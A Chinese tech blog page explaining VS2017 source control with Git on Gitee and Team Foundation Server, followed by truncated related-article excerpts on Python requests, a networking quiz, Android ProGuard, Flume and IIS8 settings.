    VS2017源代码版本管理有两种方式:Git(代码提交到服务器)和TeamFoundationServer(代码提交到局域网) 一、Git版本管理(上传到码云服务器https://gitee.com)有两种方式提交本地代码到服务器: 注意:本地电脑或远程电脑必须安装有TeamFoundationServer(建议安装2013,比较稳定)和SqlServer数据库(建议安装2012以上) 1.服务器先有仓库 打开码云网站:https://gitee.com,再点登录,如果没有帐号先注册一个按下图创建一个仓库 按提示输入仓库信息: 仓库名称路径的名称是否开源自己设定选择语言添加.gitignore不要选择,否则会提交不上去,如果选择了,就要在这个项目的管理去清空所有内容使用Readme文件初始化这个仓库前面的勾去掉最后点创建 创建成功如下图:   打开VS2017一个空的项目,依次点击团队资源管理器、管理连接、克隆,然后输入远程和本地的地址,再后点克隆,克隆成功后会在D:\Demo1\目录下生成一个.git的文件夹 注:如果是第一次登录,会提示让你输入账号密码  

  • python+pytest接口自动化(4)-requests发送get请求

    python中用于请求http接口的有自带的urllib和第三方库requests,但urllib写法稍微有点繁琐,所以在进行接口自动化测试过程中,一般使用更为简洁且功能强大的requests库。下面我们使用requests库发送get请求。 requests库 简介 requests库中提供对用的方法用于常用的HTTP请求,对应如下: requests.get() #用于GET请求 requests.post() #用于POST请求 requests.put() #用于PUT请求 requests.delete() #用于DELETE请求 复制 当然还有更多的方法,这里只列举常用的。 安装 安装命令:pipinstallrequests 发送get请求 get请求参数格式说明 requests中的get方法源码如下: defget(url,params=None,**kwargs): r"""SendsaGETrequest. :paramurl:URLforthenew:class:`Request`object. :paramparams:(optional)Di

  • 计算机网络能力测试题

    一、选择题(20%) 1.(2009年408真题)在OSI参考模型中,自下而上第一个提供端到端服务的层次是 (  )   A、数据链路层    B、传输层   C、会话层    D、应用层  答:B,考察端到端概念和对OSI参考模型的掌握。   2.(原创)在实现基于TCP的网络应用程序时,服务器端正确的处理流程是(   )    A、socket() -> bind() -> listen() -> read()/write() -> close()   B、socket() -> bind() -> listen() -> accept() -> read()/write() -> close()    C、socket() -> connect() -> read()/write() -> close()      D、socket() -> bind() -> listen() -> connect() -> read()/write

  • 写给Android 混淆小白的快速混淆方法

      为啥子要混淆 简单来说,Android进行ProGuard,可以起到压缩,混淆,预检,优化的功能,虽然不能说更安全但还是一个不容忽视的环节。 开始混淆第一步 首先在build.gradle中将混淆的开关打开,即minifyEnabled置为true 然后就要去proguard-rules.pro写入我们的混淆的规则(如文件其名),防止重要的类被混淆移除了。 先特别介绍的是与保持相关元素不参与混淆的规则相关的几种命令: 命令作用 -keep 防止类和成员被移除或者被重命名 -keepnames 防止类和成员被重命名 -keepclassmembers 防止成员被移除或者被重命名 -keepclasseswithmembers 防止拥有该成员的类和成员被移除或者被重命名 -keepclasseswithmembernames 防止拥有该成员的类和成员被重命名 快速混淆? 省事第一步,先套个模板,就是找到网上博客上别人分享好的模板,像四大组件,主流开源库,JNI调用本地方法,R资源等的混淆规则都一般有了,注意一点就是套模板,也要套个时间比较近的

  • Flume(2)组件概述与列表

    上一节搭建了flume的简单运行环境,并提供了一个基于netcat的演示。这一节继续对flume的整个流程进行进一步的说明。一、flume的基本架构图:下面这个图基本说明了flume的作用,以及flume中的基本组件:source、channel、sink。Source:完成对日志数据的收集,分成transtion和event打入到channel之中。  Channel:主要提供一个队列的功能,对source提供中的数据进行简单的缓存。  Sink:取出Channel中的数据,进行相应的存储文件系统,数据库,或者提交到远程服务器。 二、source列表:简要说明:1、AvroSource:支持Avro协议(实际上是AvroRPC),内置支持2、ThriftSource:支持Thrift协议,内置支持3、ExecSource|基于Unix的command在标准输出上生产数据4、JMSSource:从JMS系统(消息、主题)中读取数据,ActiveMQ已经测试过5、SpoolingDirectorySource:监控指定目录内数据变更6、T

  • 在 IIS8 中保持网站持续运行

    在早期版本的IIS中执行轮询任务不那么可靠。应用程序池回收后,网站不会自动重启,在新的请求激活应用程序之前,轮询任务不起作用。为了解决这个问题,需要引入外力驱动Web端执行任务,如图:     此方式比较繁琐。从IIS8开始,可通过配置保持网站持续运行,方法如下: 1,启用【应用程序初始化】    2,在应用程序池的【高级设置】中,将【启动模式】设为【AlwaysRunning】。   3,在网站的【高级设置】中,将【预加载已启用】设为【true】。   将【预加载已启用】设为【true】后,IIS8会在应用程序池启动时向网站发送一个伪请求。   配置完成后,应用程序池在回收后会立即启动,并且网站会被IIS发送的伪请求激活,轮询任务不会间断,驱动Web的桌面工具就不再需要了。

相关推荐

推荐阅读